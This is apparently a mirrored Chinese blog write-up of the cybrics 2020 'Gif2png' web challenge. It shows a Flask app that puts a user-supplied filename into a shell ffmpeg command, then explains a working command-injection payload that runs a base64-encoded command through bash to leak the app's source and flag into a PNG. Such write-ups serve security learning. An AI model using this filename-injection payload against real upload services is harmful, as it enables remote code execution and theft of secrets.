zoukankan      html  css  js  c++  java
  • cybrics 2020-web Gif2png

    这题还行,就是自己脑子一抽反向shell试了好久。。。。。。

    main.py代码如下

      1 #!/usr/bin/python3
      2 import logging
      3 import re
      4 import subprocess
      5 import uuid
      6 from pathlib import Path
      7 
      8 from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
      9 from flask_bootstrap import Bootstrap
     10 import os
     11 from werkzeug.utils import secure_filename
     12 import filetype
     13 
     14 
     15 ALLOWED_EXTENSIONS = {'gif'}
     16 
     17 app = Flask(__name__)
     18 app.config['UPLOAD_FOLDER'] = './uploads'
     19 app.config['SECRET_KEY'] = '********************************'
     20 app.config['MAX_CONTENT_LENGTH'] = 500 * 1024  # 500Kb
     21 ffLaG = "cybrics{********************************}"
     22 Bootstrap(app)
     23 logging.getLogger().setLevel(logging.DEBUG)
     24 
     25 def allowed_file(filename):
     26     return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
     27 
     28 
     29 @app.route('/', methods=['GET', 'POST'])
     30 def upload_file():
     31     logging.debug(request.headers)
     32     if request.method == 'POST':
     33         if 'file' not in request.files:
     34             logging.debug('No file part')
     35             flash('No file part', 'danger')
     36             return redirect(request.url)
     37 
     38         file = request.files['file']
     39         if file.filename == '':
     40             logging.debug('No selected file')
     41             flash('No selected file', 'danger')
     42             return redirect(request.url)
     43 
     44         if not allowed_file(file.filename):
     45             logging.debug(f'Invalid file extension of file: {file.filename}')
     46             flash('Invalid file extension', 'danger')
     47             return redirect(request.url)
     48 
     49         if file.content_type != "image/gif":
     50             logging.debug(f'Invalid Content type: {file.content_type}')
     51             flash('Content type is not "image/gif"', 'danger')
     52             return redirect(request.url)
     53 
     54         if not bool(re.match("^[a-zA-Z0-9_-. '"=$()|]*$", file.filename)) or ".." in file.filename:
     55             logging.debug(f'Invalid symbols in filename: {file.content_type}')
     56             flash('Invalid filename', 'danger')
     57             return redirect(request.url)
     58 
     59         if file and allowed_file(file.filename):
     60             filename = secure_filename(file.filename)
     61             file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
     62 
     63             mime_type = filetype.guess_mime(f'uploads/{file.filename}')
     64             if mime_type != "image/gif":
     65                 logging.debug(f'Invalid Mime type: {mime_type}')
     66                 flash('Mime type is not "image/gif"', 'danger')
     67                 return redirect(request.url)
     68 
     69             uid = str(uuid.uuid4())
     70             os.mkdir(f"uploads/{uid}")
     71 
     72             logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"")
     73 
     74             command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"", shell=True)
     75             command.wait(timeout=15)
     76             logging.debug(command.stdout)
     77 
     78             flash('Successfully saved', 'success')
     79             return redirect(url_for('result', uid=uid))
     80 
     81     return render_template("form.html")
     82 
     83 
     84 @app.route('/result/<uid>/')
     85 def result(uid):
     86     images = []
     87     for image in os.listdir(f"uploads/{uid}"):
     88         mime_type = filetype.guess(str(Path("uploads") / uid / image))
     89         if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
     90             images.append(image)
     91 
     92     return render_template("result.html", uid=uid, images=images)
     93 
     94 
     95 @app.route('/uploads/<uid>/<image>')
     96 def image(uid, image):
     97     logging.debug(request.headers)
     98     dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
     99     return send_from_directory(dir, image)
    100 
    101 
    102 @app.errorhandler(413)
    103 def request_entity_too_large(error):
    104     return "File is too large", 413
    105 
    106 
    107 if __name__ == "__main__":
    108     app.run(host='localhost', port=5000, debug=False, threaded=True)

    逻辑简单,gif转换成png。第21行是flag,需要我们去读取。第74行是关键,

    subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"", shell=True)等价于
    subprocess.Popen(["/bin/sh","-c",f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png""])
    文件名是用户可控的,很明显可以RCE
    pyload:1'||{command}||'.gif
    中间填自己的命令但要注意有正则匹配,所以我采用base64执行命令。
    单引号用于闭合,有if校验文件扩展名,必须是gif结尾。


    上传一个gif文件后,gif转换成了多个png。命令执行之后是不会有回显的,我的思路就是把main.py写入到转换之后的png中,
    然后再通过wget下载图片,用cat查看内容



    cat main.py >> ./uploads/5c6a1d9a-3ef1-41a5-bf77-7241b5287c76/002.png编码之后就是

    Y2F0IG1haW4ucHkgPj4gLi91cGxvYWRzLzVjNmExZDlhLTNlZjEtNDFhNS1iZjc3LTcyNDFiNTI4N2M3Ni8wMDIucG5n

    所以最后的payload就是:1'||echo 'Y2F0IG1haW4ucHkgPj4gLi91cGxvYWRzLzVjNmExZDlhLTNlZjEtNDFhNS1iZjc3LTcyNDFiNTI4N2M3Ni8wMDIucG5n'|base64 -d|bash ||'.gif

    需要注意的是base64编码可能会生成被正则限制的'+',可以通过在命令中加空格处理掉

    文件名替换成payload上传,之后下载相应图片并查看就能看到flag

  • 相关阅读:
    angularJS中的MVC思想?
    angularJs初体验,实现双向数据绑定!使用体会:比较爽
    原生JS去解析地址栏的链接?超好用的解决办法
    HDCMS多图字段的使用?
    sublime添加到鼠标右键打开文件的方法?
    Ajax做列表无限加载和Ajax做二级下拉选项
    Atitit.获取某个服务 网络邻居列表 解决方案
    Atitit. 注册表操作查询 修改 api与工具总结 java c# php js python 病毒木马的原理
    Atitit. 注册表操作查询 修改 api与工具总结 java c# php js python 病毒木马的原理
    Atitit.prototype-base class-based  基于“类” vs 基于“原型”
  • 原文地址:https://www.cnblogs.com/remon535/p/13378925.html
Copyright © 2011-2022 走看看